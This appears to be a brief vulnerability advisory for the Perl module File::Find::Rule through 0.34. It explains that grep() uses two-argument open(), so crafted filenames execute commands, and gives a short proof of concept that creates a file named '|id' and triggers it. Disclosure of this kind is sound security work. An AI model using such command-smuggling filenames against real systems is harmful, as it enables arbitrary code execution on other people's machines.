Overview

About vulnerability

File::Find::Rule through 0.34 for Perl is vulnerable to Arbitrary Code Execution when grep() encounters a crafted filename.

A file handle is opened with the 2 argument form of open() allowing an attacker controlled filename to provide the MODE parameter to open(), turning the filename into a command to be executed.

Example:

$ mkdir /tmp/poc; echo > “/tmp/poc/|id” $ perl -MFile::Find::Rule
-E ‘File::Find::Rule->grep(“foo”)->in("/tmp/poc")’ uid=1000(user) gid=1000(user) groups=1000(user),100(users)
